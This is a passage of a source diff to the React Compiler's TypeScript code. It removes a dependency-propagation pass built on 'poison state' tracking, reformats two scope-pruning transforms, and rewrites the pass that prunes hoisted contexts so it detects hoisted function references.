-        const next = cursor.pop();
-        if (next.value == null) {
-          const poisonedScope = cursor.value!.value.id;
-          this.poisonedScopes.add(poisonedScope);
-          if (poisonedScope === currentScope?.value.id) {
-            this.isPoisoned = true;
-          }
-          break;
-        } else {
-          cursor = next;
-        }
-      }
-    } else if (target != null) {
-      this.poisonedBlocks.add(target);
-      if (
-        !this.isPoisoned &&
-        currentScope?.ownBlocks.find((blockId) => blockId === target)
-      ) {
-        this.isPoisoned = true;
-      }
-    }
-  }
-
-  /**
-   * Invoked during traversal when a poisoned scope becomes inactive
-   * @param id
-   * @param currentScope
-   */
-  removeMaybePoisonedScope(
-    id: ScopeId,
-    currentScope: ScopeTraversalState | null
-  ): void {
-    this.poisonedScopes.delete(id);
-    this.#invalidate(currentScope);
-  }
-
-  removeMaybePoisonedBlock(
-    id: BlockId,
-    currentScope: ScopeTraversalState | null
-  ): void {
-    this.poisonedBlocks.delete(id);
-    this.#invalidate(currentScope);
-  }
-}
-
-class Context {
-  #temporariesUsedOutsideScope: Set<IdentifierId>;
-  #declarations: DeclMap = new Map();
-  #reassignments: Map<Identifier, Decl> = new Map();
-  // Reactive dependencies used in the current reactive scope.
-  #dependencies: ReactiveScopeDependencyTree =
-    new ReactiveScopeDependencyTree();
-  /*
-   * We keep a sidemap for temporaries created by PropertyLoads, and do
-   * not store any control flow (i.e. #inConditionalWithinScope) here.
-   *  - a ReactiveScope (A) containing a PropertyLoad may differ from the
-   *    ReactiveScope (B) that uses the produced temporary.
-   *  - codegen will inline these PropertyLoads back into scope (B)
-   */
-  #properties: Map<Identifier, ReactiveScopePropertyDependency> = new Map();
-  #temporaries: Map<Identifier, Place> = new Map();
-  #inConditionalWithinScope: boolean = false;
-  /*
-   * Reactive dependencies used unconditionally in the current conditional.
-   * Composed of dependencies:
-   *  - directly accessed within block (added in visitDep)
-   *  - accessed by all cfg branches (added through promoteDeps)
-   */
-  #depsInCurrentConditional: ReactiveScopeDependencyTree =
-    new ReactiveScopeDependencyTree();
-  #scopes: Stack<ScopeTraversalState> = empty();
-  poisonState: PoisonState = new PoisonState(new Set(), new Set(), false);
-
-  constructor(temporariesUsedOutsideScope: Set<IdentifierId>) {
-    this.#temporariesUsedOutsideScope = temporariesUsedOutsideScope;
-  }
-
-  enter(scope: ReactiveScope, fn: () => void): Set<ReactiveScopeDependency> {
-    // Save context of previous scope
-    const prevInConditional = this.#inConditionalWithinScope;
-    const previousDependencies = this.#dependencies;
-    const prevDepsInConditional: ReactiveScopeDependencyTree | null = this
-      .isPoisoned
-      ? this.#depsInCurrentConditional
-      : null;
-    if (prevDepsInConditional != null) {
-      this.#depsInCurrentConditional = new ReactiveScopeDependencyTree();
-    }
-
-    /*
-     * Set context for new scope
-     * A nested scope should add all deps it directly uses as its own
-     * unconditional deps, regardless of whether the nested scope is itself
-     * within a conditional
-     */
-    const scopedDependencies = new ReactiveScopeDependencyTree();
-    this.#inConditionalWithinScope = false;
-    this.#dependencies = scopedDependencies;
-    this.#scopes = this.#scopes.push({
-      value: scope,
-      ownBlocks: empty(),
-    });
-    this.poisonState.isPoisoned = false;
-
-    fn();
-
-    // Restore context of previous scope
-    this.#scopes = this.#scopes.pop();
-    this.poisonState.removeMaybePoisonedScope(scope.id, this.#scopes.value);
-
-    this.#dependencies = previousDependencies;
-    this.#inConditionalWithinScope = prevInConditional;
-
-    // Derive minimal dependencies now, since next line may mutate scopedDependencies
-    const minInnerScopeDependencies =
-      scopedDependencies.deriveMinimalDependencies();
-
-    /*
-     * propagate dependencies upward using the same rules as normal dependency
-     * collection. child scopes may have dependencies on values created within
-     * the outer scope, which necessarily cannot be dependencies of the outer
-     * scope
-     */
-    this.#dependencies.addDepsFromInnerScope(
-      scopedDependencies,
-      this.#inConditionalWithinScope || this.isPoisoned,
-      this.#checkValidDependency.bind(this)
-    );
-
-    if (prevDepsInConditional != null) {
-      // Outer scope is poisoned
-      prevDepsInConditional.addDepsFromInnerScope(
-        this.#depsInCurrentConditional,
-        true,
-        this.#checkValidDependency.bind(this)
-      );
-      this.#depsInCurrentConditional = prevDepsInConditional;
-    }
-
-    return minInnerScopeDependencies;
-  }
-
-  isUsedOutsideDeclaringScope(place: Place): boolean {
-    return this.#temporariesUsedOutsideScope.has(place.identifier.id);
-  }
-
-  /*
-   * Prints dependency tree to string for debugging.
-   * @param includeAccesses
-   * @returns string representation of DependencyTree
-   */
-  printDeps(includeAccesses: boolean = false): string {
-    return this.#dependencies.printDeps(includeAccesses);
-  }
-
-  /*
-   * We track and return unconditional accesses / deps within this conditional.
-   * If an object property is always used (i.e. in every conditional path), we
-   * want to promote it to an unconditional access / dependency.
-   *
-   * The caller of `enterConditional` is responsible determining for promotion.
-   * i.e. call promoteDepsFromExhaustiveConditionals to merge returned results.
-   *
-   * e.g. we want to mark props.a.b as an unconditional dep here
-   *   if (foo(...)) {
-   *     access(props.a.b);
-   *   } else {
-   *     access(props.a.b);
-   *   }
-   */
-  enterConditional(fn: () => void): ReactiveScopeDependencyTree {
-    const prevInConditional = this.#inConditionalWithinScope;
-    const prevUncondAccessed = this.#depsInCurrentConditional;
-    this.#inConditionalWithinScope = true;
-    this.#depsInCurrentConditional = new ReactiveScopeDependencyTree();
-    fn();
-    const result = this.#depsInCurrentConditional;
-    this.#inConditionalWithinScope = prevInConditional;
-    this.#depsInCurrentConditional = prevUncondAccessed;
-    return result;
-  }
-
-  /*
-   * Add dependencies from exhaustive CFG paths into the current ReactiveDeps
-   * tree. If a property is used in every CFG path, it is promoted to an
-   * unconditional access / dependency here.
-   * @param depsInConditionals
-   */
-  promoteDepsFromExhaustiveConditionals(
-    depsInConditionals: Array<ReactiveScopeDependencyTree>
-  ): void {
-    this.#dependencies.promoteDepsFromExhaustiveConditionals(
-      depsInConditionals
-    );
-    this.#depsInCurrentConditional.promoteDepsFromExhaustiveConditionals(
-      depsInConditionals
-    );
-  }
-
-  /*
-   * Records where a value was declared, and optionally, the scope where the value originated from.
-   * This is later used to determine if a dependency should be added to a scope; if the current
-   * scope we are visiting is the same scope where the value originates, it can't be a dependency
-   * on itself.
-   */
-  declare(identifier: Identifier, decl: Decl): void {
-    if (!this.#declarations.has(identifier.id)) {
-      this.#declarations.set(identifier.id, decl);
-    }
-    this.#reassignments.set(identifier, decl);
-  }
-
-  declareTemporary(lvalue: Place, place: Place): void {
-    this.#temporaries.set(lvalue.identifier, place);
-  }
-
-  resolveTemporary(place: Place): Place {
-    return this.#temporaries.get(place.identifier) ?? place;
-  }
-
-  #getProperty(
-    object: Place,
-    property: string,
-    isConditional: boolean
-  ): ReactiveScopePropertyDependency {
-    const resolvedObject = this.resolveTemporary(object);
-    const resolvedDependency = this.#properties.get(resolvedObject.identifier);
-    let objectDependency: ReactiveScopePropertyDependency;
-    /*
-     * (1) Create the base property dependency as either a LoadLocal (from a temporary)
-     * or a deep copy of an existing property dependency.
-     */
-    if (resolvedDependency === undefined) {
-      objectDependency = {
-        identifier: resolvedObject.identifier,
-        path: [],
-        optionalPath: [],
-      };
-    } else {
-      objectDependency = {
-        identifier: resolvedDependency.identifier,
-        path: [...resolvedDependency.path],
-        optionalPath: [...resolvedDependency.optionalPath],
-      };
-    }
-
-    // (2) Determine whether property is an optional access
-    if (objectDependency.optionalPath.length > 0) {
-      /*
-       * If the base property dependency represents a optional member expression,
-       * property is on the optionalPath (regardless of whether this PropertyLoad
-       * itself was conditional)
-       * e.g. for `a.b?.c.d`, `d` should be added to optionalPath
-       */
-      objectDependency.optionalPath.push(property);
-    } else if (isConditional) {
-      objectDependency.optionalPath.push(property);
-    } else {
-      objectDependency.path.push(property);
-    }
-
-    return objectDependency;
-  }
-
-  declareProperty(lvalue: Place, object: Place, property: string): void {
-    const nextDependency = this.#getProperty(object, property, false);
-    this.#properties.set(lvalue.identifier, nextDependency);
-  }
-
-  // Checks if identifier is a valid dependency in the current scope
-  #checkValidDependency(maybeDependency: ReactiveScopeDependency): boolean {
-    // ref.current access is not a valid dep
-    if (
-      isUseRefType(maybeDependency.identifier) &&
-      maybeDependency.path.at(0) === "current"
-    ) {
-      return false;
-    }
-
-    // ref value is not a valid dep
-    if (isRefValueType(maybeDependency.identifier)) {
-      return false;
-    }
-
-    /*
-     * object methods are not deps because they will be codegen'ed back in to
-     * the object literal.
-     */
-    if (isObjectMethodType(maybeDependency.identifier)) {
-      return false;
-    }
-
-    const identifier = maybeDependency.identifier;
-    /*
-     * If this operand is used in a scope, has a dynamic value, and was defined
-     * before this scope, then its a dependency of the scope.
-     */
-    const currentDeclaration =
-      this.#reassignments.get(identifier) ??
-      this.#declarations.get(identifier.id);
-    const currentScope = this.currentScope.value?.value;
-    return (
-      currentScope != null &&
-      currentDeclaration !== undefined &&
-      currentDeclaration.id < currentScope.range.start &&
-      (currentDeclaration.scope == null ||
-        currentDeclaration.scope.value?.value !== currentScope)
-    );
-  }
-
-  #isScopeActive(scope: ReactiveScope): boolean {
-    if (this.#scopes === null) {
-      return false;
-    }
-    return this.#scopes.find((state) => state.value === scope);
-  }
-
-  get currentScope(): Stack<ScopeTraversalState> {
-    return this.#scopes;
-  }
-
-  get isPoisoned(): boolean {
-    return this.poisonState.isPoisoned;
-  }
-
-  visitOperand(place: Place): void {
-    const resolved = this.resolveTemporary(place);
-    /*
-     * if this operand is a temporary created for a property load, try to resolve it to
-     * the expanded Place. Fall back to using the operand as-is.
-     */
-
-    let dependency: ReactiveScopePropertyDependency = {
-      identifier: resolved.identifier,
-      path: [],
-      optionalPath: [],
-    };
-    if (resolved.identifier.name === null) {
-      const propertyDependency = this.#properties.get(resolved.identifier);
-      if (propertyDependency !== undefined) {
-        dependency = { ...propertyDependency };
-      }
-    }
-    this.visitDependency(dependency);
-  }
-
-  visitProperty(object: Place, property: string): void {
-    const nextDependency = this.#getProperty(object, property, false);
-    this.visitDependency(nextDependency);
-  }
-
-  visitDependency(maybeDependency: ReactiveScopePropertyDependency): void {
-    /*
-     * Any value used after its originally defining scope has concluded must be added as an
-     * output of its defining scope. Regardless of whether its a const or not,
-     * some later code needs access to the value. If the current
-     * scope we are visiting is the same scope where the value originates, it can't be a dependency
-     * on itself.
-     */
-
-    /*
-     * if originalDeclaration is undefined here, then this is a free var
-     *  (all other decls e.g. `let x;` should be initialized in BuildHIR)
-     */
-    const originalDeclaration = this.#declarations.get(
-      maybeDependency.identifier.id
-    );
-    if (
-      originalDeclaration !== undefined &&
-      originalDeclaration.scope.value !== null
-    ) {
-      originalDeclaration.scope.each((scope) => {
-        if (!this.#isScopeActive(scope.value)) {
-          scope.value.declarations.set(maybeDependency.identifier.id, {
-            identifier: maybeDependency.identifier,
-            scope: originalDeclaration.scope.value!.value,
-          });
-        }
-      });
-    }
-
-    if (this.#checkValidDependency(maybeDependency)) {
-      const isPoisoned = this.isPoisoned;
-      this.#depsInCurrentConditional.add(maybeDependency, isPoisoned);
-      /*
-       * Add info about this dependency to the existing tree
-       * We do not try to join/reduce dependencies here due to missing info
-       */
-      this.#dependencies.add(
-        maybeDependency,
-        this.#inConditionalWithinScope || isPoisoned
-      );
-    }
-  }
-
-  /*
-   * Record a variable that is declared in some other scope and that is being reassigned in the
-   * current one as a {@link ReactiveScope.reassignments}
-   */
-  visitReassignment(place: Place): void {
-    const currentScope = this.currentScope.value?.value;
-    if (
-      currentScope != null &&
-      !Array.from(currentScope.reassignments).some(
-        (identifier) => identifier.id === place.identifier.id
-      ) &&
-      this.#checkValidDependency({ identifier: place.identifier, path: [] })
-    ) {
-      currentScope.reassignments.add(place.identifier);
-    }
-  }
-
-  pushLabeledBlock(id: BlockId): void {
-    const currentScope = this.#scopes.value;
-    if (currentScope != null) {
-      currentScope.ownBlocks = currentScope.ownBlocks.push(id);
-    }
-  }
-  popLabeledBlock(id: BlockId): void {
-    const currentScope = this.#scopes.value;
-    if (currentScope != null) {
-      const last = currentScope.ownBlocks.value;
-      currentScope.ownBlocks = currentScope.ownBlocks.pop();
-
-      CompilerError.invariant(last != null && last === id, {
-        reason: "[PropagateScopeDependencies] Misformed block stack",
-        loc: GeneratedSource,
-      });
-    }
-    this.poisonState.removeMaybePoisonedBlock(id, currentScope);
-  }
-}
-
-class PropagationVisitor extends ReactiveFunctionVisitor<Context> {
-  enableTreatFunctionDepsAsConditional = false;
-
-  constructor(enableTreatFunctionDepsAsConditional: boolean) {
-    super();
-    this.enableTreatFunctionDepsAsConditional =
-      enableTreatFunctionDepsAsConditional;
-  }
-
-  override visitScope(scope: ReactiveScopeBlock, context: Context): void {
-    const scopeDependencies = context.enter(scope.scope, () => {
-      this.visitBlock(scope.instructions, context);
-    });
-    scope.scope.dependencies = scopeDependencies;
-  }
-
-  override visitPrunedScope(
-    scopeBlock: PrunedReactiveScopeBlock,
-    context: Context
-  ): void {
-    /*
-     * NOTE: we explicitly throw away the deps, we only enter() the scope to record its
-     * declarations
-     */
-    const _scopeDepdencies = context.enter(scopeBlock.scope, () => {
-      this.visitBlock(scopeBlock.instructions, context);
-    });
-  }
-
-  override visitInstruction(
-    instruction: ReactiveInstruction,
-    context: Context
-  ): void {
-    const { id, value, lvalue } = instruction;
-    this.visitInstructionValue(context, id, value, lvalue);
-    if (lvalue == null) {
-      return;
-    }
-    context.declare(lvalue.identifier, {
-      id,
-      scope: context.currentScope,
-    });
-  }
-
-  visitReactiveValue(
-    context: Context,
-    id: InstructionId,
-    value: ReactiveValue
-  ): void {
-    switch (value.kind) {
-      case "OptionalExpression": {
-        const inner = value.value;
-        /*
-         * OptionalExpression value is a SequenceExpression where the instructions
-         * represent the code prior to the `?` and the final value represents the
-         * conditional code that follows.
-         */
-        CompilerError.invariant(inner.kind === "SequenceExpression", {
-          reason:
-            "Expected OptionalExpression value to be a SequenceExpression",
-          description: `Found a \`${value.kind}\``,
-          loc: value.loc,
-          suggestions: null,
-        });
-        // Instructions are the unconditionally executed portion before the `?`
-        for (const instr of inner.instructions) {
-          this.visitInstruction(instr, context);
-        }
-        // The final value is the conditional portion following the `?`
-        context.enterConditional(() => {
-          this.visitReactiveValue(context, id, inner.value);
-        });
-        break;
-      }
-      case "LogicalExpression": {
-        this.visitReactiveValue(context, id, value.left);
-        context.enterConditional(() => {
-          this.visitReactiveValue(context, id, value.right);
-        });
-        break;
-      }
-      case "ConditionalExpression": {
-        this.visitReactiveValue(context, id, value.test);
-
-        const consequentDeps = context.enterConditional(() => {
-          this.visitReactiveValue(context, id, value.consequent);
-        });
-        const alternateDeps = context.enterConditional(() => {
-          this.visitReactiveValue(context, id, value.alternate);
-        });
-        context.promoteDepsFromExhaustiveConditionals([
-          consequentDeps,
-          alternateDeps,
-        ]);
-        break;
-      }
-      case "SequenceExpression": {
-        for (const instr of value.instructions) {
-          this.visitInstruction(instr, context);
-        }
-        this.visitInstructionValue(context, id, value.value, null);
-        break;
-      }
-      case "FunctionExpression": {
-        if (this.enableTreatFunctionDepsAsConditional) {
-          context.enterConditional(() => {
-            for (const operand of eachInstructionValueOperand(value)) {
-              context.visitOperand(operand);
-            }
-          });
-        } else {
-          for (const operand of eachInstructionValueOperand(value)) {
-            context.visitOperand(operand);
-          }
-        }
-        break;
-      }
-      case "ReactiveFunctionValue": {
-        CompilerError.invariant(false, {
-          reason: `Unexpected ReactiveFunctionValue`,
-          loc: value.loc,
-          description: null,
-          suggestions: null,
-        });
-      }
-      default: {
-        for (const operand of eachInstructionValueOperand(value)) {
-          context.visitOperand(operand);
-        }
-      }
-    }
-  }
-
-  visitInstructionValue(
-    context: Context,
-    id: InstructionId,
-    value: ReactiveValue,
-    lvalue: Place | null
-  ): void {
-    if (value.kind === "LoadLocal" && lvalue !== null) {
-      if (
-        value.place.identifier.name !== null &&
-        lvalue.identifier.name === null &&
-        !context.isUsedOutsideDeclaringScope(lvalue)
-      ) {
-        context.declareTemporary(lvalue, value.place);
-      } else {
-        context.visitOperand(value.place);
-      }
-    } else if (value.kind === "PropertyLoad") {
-      if (lvalue !== null && !context.isUsedOutsideDeclaringScope(lvalue)) {
-        context.declareProperty(lvalue, value.object, value.property);
-      } else {
-        context.visitProperty(value.object, value.property);
-      }
-    } else if (value.kind === "StoreLocal") {
-      context.visitOperand(value.value);
-      if (value.lvalue.kind === InstructionKind.Reassign) {
-        context.visitReassignment(value.lvalue.place);
-      }
-      context.declare(value.lvalue.place.identifier, {
-        id,
-        scope: context.currentScope,
-      });
-    } else if (
-      value.kind === "DeclareLocal" ||
-      value.kind === "DeclareContext"
-    ) {
-      /*
-       * Some variables may be declared and never initialized. We need
-       * to retain (and hoist) these declarations if they are included
-       * in a reactive scope. One approach is to simply add all `DeclareLocal`s
-       * as scope declarations.
-       */
-
-      /*
-       * We add context variable declarations here, not at `StoreContext`, since
-       * context Store / Loads are modeled as reads and mutates to the underlying
-       * variable reference (instead of through intermediate / inlined temporaries)
-       */
-      context.declare(value.lvalue.place.identifier, {
-        id,
-        scope: context.currentScope,
-      });
-    } else if (value.kind === "Destructure") {
-      context.visitOperand(value.value);
-      for (const place of eachPatternOperand(value.lvalue.pattern)) {
-        if (value.lvalue.kind === InstructionKind.Reassign) {
-          context.visitReassignment(place);
-        }
-        context.declare(place.identifier, {
-          id,
-          scope: context.currentScope,
-        });
-      }
-    } else {
-      this.visitReactiveValue(context, id, value);
-    }
-  }
-
-  enterTerminal(stmt: ReactiveTerminalStatement, context: Context): void {
-    if (stmt.label != null) {
-      context.pushLabeledBlock(stmt.label.id);
-    }
-    const terminal = stmt.terminal;
-    switch (terminal.kind) {
-      case "continue":
-      case "break": {
-        context.poisonState.addPoisonTarget(
-          terminal.target,
-          context.currentScope
-        );
-        break;
-      }
-      case "throw":
-      case "return": {
-        context.poisonState.addPoisonTarget(null, context.currentScope);
-        break;
-      }
-    }
-  }
-  exitTerminal(stmt: ReactiveTerminalStatement, context: Context): void {
-    if (stmt.label != null) {
-      context.popLabeledBlock(stmt.label.id);
-    }
-  }
-
-  override visitTerminal(
-    stmt: ReactiveTerminalStatement,
-    context: Context
-  ): void {
-    this.enterTerminal(stmt, context);
-    const terminal = stmt.terminal;
-    switch (terminal.kind) {
-      case "break":
-      case "continue": {
-        break;
-      }
-      case "return": {
-        context.visitOperand(terminal.value);
-        break;
-      }
-      case "throw": {
-        context.visitOperand(terminal.value);
-        break;
-      }
-      case "for": {
-        this.visitReactiveValue(context, terminal.id, terminal.init);
-        this.visitReactiveValue(context, terminal.id, terminal.test);
-        context.enterConditional(() => {
-          this.visitBlock(terminal.loop, context);
-          if (terminal.update !== null) {
-            this.visitReactiveValue(context, terminal.id, terminal.update);
-          }
-        });
-        break;
-      }
-      case "for-of": {
-        this.visitReactiveValue(context, terminal.id, terminal.init);
-        context.enterConditional(() => {
-          this.visitBlock(terminal.loop, context);
-        });
-        break;
-      }
-      case "for-in": {
-        this.visitReactiveValue(context, terminal.id, terminal.init);
-        context.enterConditional(() => {
-          this.visitBlock(terminal.loop, context);
-        });
-        break;
-      }
-      case "do-while": {
-        this.visitBlock(terminal.loop, context);
-        context.enterConditional(() => {
-          this.visitReactiveValue(context, terminal.id, terminal.test);
-        });
-        break;
-      }
-      case "while": {
-        this.visitReactiveValue(context, terminal.id, terminal.test);
-        context.enterConditional(() => {
-          this.visitBlock(terminal.loop, context);
-        });
-        break;
-      }
-      case "if": {
-        context.visitOperand(terminal.test);
-        const { consequent, alternate } = terminal;
-        /*
-         * Consequent and alternate branches are mutually exclusive,
-         * so we save and restore the poison state here.
-         */
-        const prevPoisonState = context.poisonState.clone();
-        const depsInIf = context.enterConditional(() => {
-          this.visitBlock(consequent, context);
-        });
-        if (alternate !== null) {
-          const ifPoisonState = context.poisonState.take(prevPoisonState);
-          const depsInElse = context.enterConditional(() => {
-            this.visitBlock(alternate, context);
-          });
-          context.poisonState.merge(
-            [ifPoisonState],
-            context.currentScope.value
-          );
-          context.promoteDepsFromExhaustiveConditionals([depsInIf, depsInElse]);
-        }
-        break;
-      }
-      case "switch": {
-        context.visitOperand(terminal.test);
-        const isDefaultOnly =
-          terminal.cases.length === 1 && terminal.cases[0].test == null;
-        if (isDefaultOnly) {
-          const case_ = terminal.cases[0];
-          if (case_.block != null) {
-            this.visitBlock(case_.block, context);
-            break;
-          }
-        }
-        const depsInCases = [];
-        let foundDefault = false;
-        /**
-         * Switch branches are mutually exclusive
-         */
-        const prevPoisonState = context.poisonState.clone();
-        const mutExPoisonStates: Array<PoisonState> = [];
-        /*
-         * This can underestimate unconditional accesses due to the current
-         * CFG representation for fallthrough. This is safe. It only
-         * reduces granularity of dependencies.
-         */
-        for (const { test, block } of terminal.cases) {
-          if (test !== null) {
-            context.visitOperand(test);
-          } else {
-            foundDefault = true;
-          }
-          if (block !== undefined) {
-            mutExPoisonStates.push(
-              context.poisonState.take(prevPoisonState.clone())
-            );
-            depsInCases.push(
-              context.enterConditional(() => {
-                this.visitBlock(block, context);
-              })
-            );
-          }
-        }
-        if (foundDefault) {
-          context.promoteDepsFromExhaustiveConditionals(depsInCases);
-        }
-        context.poisonState.merge(
-          mutExPoisonStates,
-          context.currentScope.value
-        );
-        break;
-      }
-      case "label": {
-        this.visitBlock(terminal.block, context);
-        break;
-      }
-      case "try": {
-        this.visitBlock(terminal.block, context);
-        this.visitBlock(terminal.handler, context);
-        break;
-      }
-      default: {
-        assertExhaustive(
-          terminal,
-          `Unexpected terminal kind \`${(terminal as any).kind}\``
-        );
-      }
-    }
-    this.exitTerminal(stmt, context);
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneAllReactiveScopes.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneAllReactiveScopes.ts
index 33d97d3d71cf..8f819deca5a6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneAllReactiveScopes.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneAllReactiveScopes.ts
@@ -9,12 +9,12 @@ import {
   ReactiveFunction,
   ReactiveScopeBlock,
   ReactiveStatement,
-} from "../HIR/HIR";
+} from '../HIR/HIR';
 import {
   ReactiveFunctionTransform,
   Transformed,
   visitReactiveFunction,
-} from "./visitors";
+} from './visitors';
 
 /*
  * Removes *all* reactive scopes. Intended for experimentation only, to allow
@@ -28,9 +28,9 @@ export function pruneAllReactiveScopes(fn: ReactiveFunction): void {
 class Transform extends ReactiveFunctionTransform<void> {
   override transformScope(
     scopeBlock: ReactiveScopeBlock,
-    state: void
+    state: void,
   ): Transformed<ReactiveStatement> {
     this.visitScope(scopeBlock, state);
-    return { kind: "replace-many", value: scopeBlock.instructions };
+    return {kind: 'replace-many', value: scopeBlock.instructions};
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneAlwaysInvalidatingScopes.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneAlwaysInvalidatingScopes.ts
index cfbc934d6287..b470271cf00b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneAlwaysInvalidatingScopes.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneAlwaysInvalidatingScopes.ts
@@ -5,18 +5,14 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import {
-  ReactiveFunctionTransform,
-  Transformed,
-  visitReactiveFunction,
-} from ".";
+import {ReactiveFunctionTransform, Transformed, visitReactiveFunction} from '.';
 import {
   Identifier,
   ReactiveFunction,
   ReactiveInstruction,
   ReactiveScopeBlock,
   ReactiveStatement,
-} from "../HIR";
+} from '../HIR';
 
 /**
  * Some instructions will *always* produce a new value, and unless memoized will *always*
@@ -38,17 +34,17 @@ class Transform extends ReactiveFunctionTransform<boolean> {
 
   override transformInstruction(
     instruction: ReactiveInstruction,
-    withinScope: boolean
+    withinScope: boolean,
   ): Transformed<ReactiveStatement> {
     this.visitInstruction(instruction, withinScope);
 
-    const { lvalue, value } = instruction;
+    const {lvalue, value} = instruction;
     switch (value.kind) {
-      case "ArrayExpression":
-      case "ObjectExpression":
-      case "JsxExpression":
-      case "JsxFragment":
-      case "NewExpression": {
+      case 'ArrayExpression':
+      case 'ObjectExpression':
+      case 'JsxExpression':
+      case 'JsxFragment':
+      case 'NewExpression': {
         if (lvalue !== null) {
           this.alwaysInvalidatingValues.add(lvalue.identifier);
           if (!withinScope) {
@@ -57,7 +53,7 @@ class Transform extends ReactiveFunctionTransform<boolean> {
         }
         break;
       }
-      case "StoreLocal": {
+      case 'StoreLocal': {
         if (this.alwaysInvalidatingValues.has(value.value.identifier)) {
           this.alwaysInvalidatingValues.add(value.lvalue.place.identifier);
         }
@@ -66,7 +62,7 @@ class Transform extends ReactiveFunctionTransform<boolean> {
         }
         break;
       }
-      case "LoadLocal": {
+      case 'LoadLocal': {
         if (
           lvalue !== null &&
           this.alwaysInvalidatingValues.has(value.place.identifier)
@@ -82,12 +78,12 @@ class Transform extends ReactiveFunctionTransform<boolean> {
         break;
       }
     }
-    return { kind: "keep" };
+    return {kind: 'keep'};
   }
 
   override transformScope(
     scopeBlock: ReactiveScopeBlock,
-    _withinScope: boolean
+    _withinScope: boolean,
   ): Transformed<ReactiveStatement> {
     this.visitScope(scopeBlock, true);
 
@@ -108,15 +104,15 @@ class Transform extends ReactiveFunctionTransform<boolean> {
           }
         }
         return {
-          kind: "replace",
+          kind: 'replace',
           value: {
-            kind: "pruned-scope",
+            kind: 'pruned-scope',
             scope: scopeBlock.scope,
             instructions: scopeBlock.instructions,
           },
         };
       }
     }
-    return { kind: "keep" };
+    return {kind: 'keep'};
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneHoistedContexts.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneHoistedContexts.ts
index a62717c836c8..ae3ff122a23a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneHoistedContexts.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneHoistedContexts.ts
@@ -5,68 +5,166 @@
  * LICENSE file in the root directory of this source tree.
  */
 
+import {CompilerError} from '..';
 import {
-  Identifier,
+  convertHoistedLValueKind,
+  IdentifierId,
+  InstructionId,
   InstructionKind,
+  Place,
   ReactiveFunction,
   ReactiveInstruction,
+  ReactiveScopeBlock,
   ReactiveStatement,
-} from "../HIR";
+} from '../HIR';
+import {empty, Stack} from '../Utils/Stack';
 import {
   ReactiveFunctionTransform,
   Transformed,
   visitReactiveFunction,
-} from "./visitors";
+} from './visitors';
 
 /*
  * Prunes DeclareContexts lowered for HoistedConsts, and transforms any references back to its
  * original instruction kind.
+ *
+ * Also detects and bails out on context variables which are:
+ * - function declarations, which are hoisted by JS engines to the nearest block scope
+ * - referenced before they are defined (i.e. having a `DeclareContext HoistedConst`)
+ * - declared
+ *
+ * This is because React Compiler converts a `function foo()` function declaration to
+ * 1. a `let foo;` declaration before reactive memo blocks
+ * 2. a `foo = function foo() {}` assignment within the block
+ *
+ * This means references before the assignment are invalid (see fixture
+ * error.todo-functiondecl-hoisting)
  */
 export function pruneHoistedContexts(fn: ReactiveFunction): void {
-  const hoistedIdentifiers: HoistedIdentifiers = new Set();
-  visitReactiveFunction(fn, new Visitor(), hoistedIdentifiers);
+  visitReactiveFunction(fn, new Visitor(), {
+    activeScopes: empty(),
+    uninitialized: new Map(),
+  });
 }
 
-type HoistedIdentifiers = Set<Identifier>;
+type VisitorState = {
+  activeScopes: Stack<Set<IdentifierId>>;
+  uninitialized: Map<
+    IdentifierId,
+    | {
+        kind: 'unknown-kind';
+      }
+    | {
+        kind: 'func';
+        definition: Place | null;
+      }
+  >;
+};
 
-class Visitor extends ReactiveFunctionTransform<HoistedIdentifiers> {
+class Visitor extends ReactiveFunctionTransform<VisitorState> {
+  override visitScope(scope: ReactiveScopeBlock, state: VisitorState): void {
+    state.activeScopes = state.activeScopes.push(
+      new Set(scope.scope.declarations.keys()),
+    );
+    /**
+     * Add declared but not initialized / assigned variables. This may include
+     * function declarations that escape the memo block.
+     */
+    for (const decl of scope.scope.declarations.values()) {
+      state.uninitialized.set(decl.identifier.id, {kind: 'unknown-kind'});
+    }
+    this.traverseScope(scope, state);
+    state.activeScopes.pop();
+    for (const decl of scope.scope.declarations.values()) {
+      state.uninitialized.delete(decl.identifier.id);
+    }
+  }
+  override visitPlace(
+    _id: InstructionId,
+    place: Place,
+    state: VisitorState,
+  ): void {
+    const maybeHoistedFn = state.uninitialized.get(place.identifier.id);
+    if (
+      maybeHoistedFn?.kind === 'func' &&
+      maybeHoistedFn.definition !== place
+    ) {
+      CompilerError.throwTodo({
+        reason: '[PruneHoistedContexts] Rewrite hoisted function references',
+        loc: place.loc,
+      });
+    }
+  }
   override transformInstruction(
     instruction: ReactiveInstruction,
-    state: HoistedIdentifiers
+    state: VisitorState,
   ): Transformed<ReactiveStatement> {
-    this.visitInstruction(instruction, state);
-    if (
-      instruction.value.kind === "DeclareContext" &&
-      instruction.value.lvalue.kind === "HoistedConst"
-    ) {
-      state.add(instruction.value.lvalue.place.identifier);
-      return { kind: "remove" };
+    /**
+     * Remove hoisted declarations to preserve TDZ
+     */
+    if (instruction.value.kind === 'DeclareContext') {
+      const maybeNonHoisted = convertHoistedLValueKind(
+        instruction.value.lvalue.kind,
+      );
+      if (maybeNonHoisted != null) {
+        if (
+          maybeNonHoisted === InstructionKind.Function &&
+          state.uninitialized.has(instruction.value.lvalue.place.identifier.id)
+        ) {
+          state.uninitialized.set(
+            instruction.value.lvalue.place.identifier.id,
+            {
+              kind: 'func',
+              definition: null,
+            },
+          );
+        }
+        return {kind: 'remove'};
+      }
     }
-
     if (
-      instruction.value.kind === "StoreContext" &&
-      state.has(instruction.value.lvalue.place.identifier)
+      instruction.value.kind === 'StoreContext' &&
